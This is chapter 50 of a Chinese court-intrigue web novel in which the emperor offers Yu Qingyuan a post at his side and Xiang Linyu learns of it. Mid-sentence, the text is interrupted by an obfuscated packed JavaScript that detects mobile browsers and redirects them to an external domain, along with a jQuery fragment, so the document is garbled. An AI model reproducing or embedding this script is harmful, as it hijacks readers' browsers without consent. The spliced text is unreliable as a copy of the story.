50. 唯你
作品:《朝堂之上,她最尊贵》 宇文庸叹了口气,松开对她的桎梏,思索一会道:“朕明白,只是正二品女官之位,有待商榷,如今朝堂并不安稳,你虽立下大功,可若直接赐你官位,旁人难免闲言碎语,毕竟人家都是经过重重考验考上的,你坐在那位置也不稳当。”
虞卿元听他这么说,拧眉道:“女官考试只能等明年了…”
宇文庸见她不愿意等这么久,勾唇道:“不如这样,朕身边缺个领头的奉茶宫女,有些女官也是从宫女做起的,只需你尽心侍候月余,届时朕以欣赏你能力为由,再赐你女官之位,名正言顺。”
“奉茶宫女?”虞卿元眉头不展。
“皇帝身边的奉茶宫女,可不是谁都能做的,朕知你能力,一些官员来讨论要事时,你也可在一旁听听,学习学习,若有什么建议,你也可与朕提,已算半个女官了。虽委屈你些时日,但来日可期,你意下如何?”宇文庸笑着看她,虞卿元志在朝堂,与其在家碌碌无为,不如跟在他身边学些知识,一来间接阻止了她嫁予项凛予,二来她在自己身边天长地久,难保她不会对自己动心。
虞卿元听后没考虑多久,便点头道:“嗯!”
宇文庸看着她如此模样,甚是可爱,可他考虑了一下,现在还是别把她吓跑,等她入宫时,再让她明白,来自己身边,是羊入虎口。
他当着她的面,给她写下入宫诏书,她说英勇神武,他便写英勇神武,她说颖悟绝伦,他便写颖悟绝伦。
看着她拿走诏书离开时甚是开心的模样,宇文庸也不自觉勾起嘴角。
项凛予按照宇文庸的旨意去找户部尚书,户部尚书听他说陛下让他来找自己,虽有些一头雾水,但看着冠军侯等在那,也不敢怠慢一分。
只好给冠军侯介绍了一遍如今户部的官员,以及他们的职务,顺便再谄媚着说些当今天子圣明睿智、明察秋毫、雄才大略等等。
项凛予一听便知道这是宇文庸支开他的借口,他懒得再听些夸赞宇文庸的废话,起身便离开了。
回去接虞卿元的路上,遇见了安宁公主。
她不似在闺中般骄纵恣肆,如今身着白衣,眼睛红肿,端王一家皆赐死,只独活她一人。
安宁公主看见项凛予,屈身福了福:“见过项将军。”
项凛予看她如今这模样,问道:“你在宫里,过得可好?”
安宁公主点点头:“太后待我很好,说自己从未有过女儿,如今倒是儿女双全了,只是在后宫中…步步惊心,下至无礼的宫女太监,上至从前的娘娘贵人,皆知我是端王之女,对我甚是唾弃…”
项凛予知道后宫艰险,只道:“…你照顾好自己,等日后嫁人了,离开宫中,便自由了。”
谁知安宁公主拉着他道:“骞慎,看在你我从小到大的情分,你带我走吧,我们成婚过,拜过天地,我知道虽不算数,可就算为妾也好,我也绝不会抢虞卿元的位置。你带我离开这里,好吗?”
项凛予却推开她的手:“安宁公主,我知你如今并不好受,可我对虞卿元,一片痴心,我已拖了她许久,我不愿再让她等我了。”
安宁公主看着他沉默不语,她知道是自己失态了,只好拱手:“对不住项将军,是我言行不当,让你为难了。”
项凛予临走前跟她说:“不必在乎那些所谓的人与事,我记得你从小便不让人,你又没做错事,陛下都愿意让你住在宫中,何必畏惧?”
安宁公主看着项凛予远去的身影,对啊,何必畏惧?她看着项凛予,决定将这份心意,从此埋在心里,项将军,当真是顶天立地的男子。
虞卿元出了文德殿,却见一人等在殿外,她走近了看,竟是王佑珊。
虞卿元朝她福了福,见她满脸泪痕,便知道她是为了太子之事前来。
王佑珊看见是虞卿元,连忙拉住她道:“虞姑娘,留步!”
虞卿元看着她:“王姑娘……”
王佑珊瞥见她手中的诏书,便知道她刚刚见到了陛下,她道:“虞姑娘,你我从前同为东宫之人,虽还未嫁,可也总有情意,陛下不见我,你能带我去见陛下吗?”
虞卿元蹙眉:“你…可是想问宇文昭为何而死?”
她还是第一次唤太子名讳,甚至这个名字都在她记忆里甚是模糊,不知为何,或许是歉意,声音都有些颤抖。
王佑珊点点头:“对,太子他…宇文昭死于乱箭,当时殿内这么多人,为何他偏偏死于乱箭?是有人要害他!”
虞卿元见她十分不理智,想起宇文庸射向太子那一箭时,心中有些不安。她还是劝阻道:“王姑娘,如今天下大定,陛下已经即位了,宇文昭意欲谋反,就算没有被乱箭穿心,他也逃不了一死字。”
王佑珊看着她,突然冷笑一声:“坊间传闻,虞姑娘当年与三皇子交情匪浅,我当时还以为是假的,你曾是东宫之人,如今却不想为太子求一真相,我倒是看明白了,你与陛下的私情,都是真的!”
她在殿前这么一喊,太监宫女都回过头来看她们这,虞卿元又想起在这,就是她所站之地,宇文庸拿箭射向太子,才夺得皇位。
王佑珊见她似乎知道什么,逼问道:“太子,到底为何而死?”
“他已不是太子。”
虞卿元看着挡在自己身前的人,项凛予回来了。
项凛予将她护在身后:“王姑娘,这里是皇宫,胆敢在文德殿前放肆?太子就算活着也是谋逆之罪,吾皇如今登上皇位正大光明,那诏书上写的,难不成有假?”
王佑珊看着项凛予死死护住虞卿元,又道:“呵,虞卿元,你这又是宇文庸,又是项凛予,怎么?如今皇后是令狐氏,你已经没戏了,想着退而求其次,要当冠军侯夫人?”
她见虞卿元不语,项凛予盯着她道:“敢直呼当今天子名讳,不要命了吗?”
王佑珊自知理亏,临走时狠狠剜了眼虞卿元。
虞卿元躲在项凛予身后小声道:“我记得她从前是个单纯温柔的人,如今怎么如此竭斯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459035|182822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底里?”
项凛予自然知道真相,从前亲太子一派的官员,无不被贬官下放,宇文庸的手段雷厉风行毫不手软,王家自然难逃此劫。
但他不知道虞卿元会如何想,他道:“先去我府中吧,这里人多口杂,不便议事。”
等到了冠军侯府,才发现不是从前的模样了。
项凛予看着她上下打量的眼神,瞥见她手中的诏书,不知为何心中隐隐有些不安,他还是笑道:“陛下赐了新府邸,说我原来的地方太过清冷,我也这么觉得,冠军侯夫人觉得如何?”
虞卿元不自觉把手中的诏书藏在身后,一路跟着项凛予进府支支吾吾,不知道该怎么说。
她还不想出成婚,这侯府很好,可她不愿一直呆在这里,她知道项凛予不会阻止她当女官,可这段时间,好不容易宇文庸登上皇位,她也能跟着宇文庸在朝堂上立足,为自己谋个前程,她也想封侯拜相,不愿困在后宅受丈夫荫蔽。
项凛予看她低着头,以为她是不习惯,他拉着她坐下,特让下人端上几盘点心,她爱吃的糖脆梅,时令的桂花糕,他为她特定请了京城最好的点心师傅,他拿起面前的点心:“尝尝?”
虞卿元看着他,知道此事瞒不住,她将诏书拿了出来,小心翼翼道:“骞慎…这是宇文庸给我的诏书……”
项凛予的笑容僵在脸上,拿着点心的手也停在半空中,他不愿打开诏书,沉默片刻,他开口道:“陛下…命你去宫中?”
虞卿元低着头,心中愧疚至极,他无时不刻不在为自己考虑,他深入敌营不愿自己冒险,不愿她面对自己心中的恶,甚至真正杀了朱小娘的人其实是自己,当她面对李氏束手无策时,也是他出手相助。
这桩桩件件…她忘不了,却也无以为报。
项凛予不忍见她心中自责,他道:“你知我赶来,却看见先帝已死,是何心情吗?”
虞卿元抬头看着他,却摇头。
“有些事情,没有答案,就像我不明白为何先帝杀了我父母之后,却还对我这么好,就像你为何不愿嫁我,没有答案。”项凛予不愿再看她,却不忍苛责她。
这一世有太多不一样,他原以为父母去世的真相他早就可以接受,为何这一世却疑云重重?与从前大相径庭。他突然惊觉,当他杀了邺王,拯救了自己,也拯救了虞卿元时,从那一刻开始,一切都不一样了,或许,从很早之前,在自己见到她第一次开始,心动之时,一切就已经改变了。
他还在妄想如从前一般,她嫁予自己,相守一生,他不知当她卷入夺嫡之争时,野心在她心中生根发芽,当她不在乎宇文庸故意设计与她时,反而要求女官之位为筹码,一切早就变了。
虞卿元见他心寒不语,主动握住他的手,解释道:“不是的,你知我志在仕途,却也心悦于你,再等等我,等我实现我的理想抱负,实现女子的另一种出路,你也可以如我一般…”
“没关系的,卿元,我的理想,我的抱负,唯你而已。”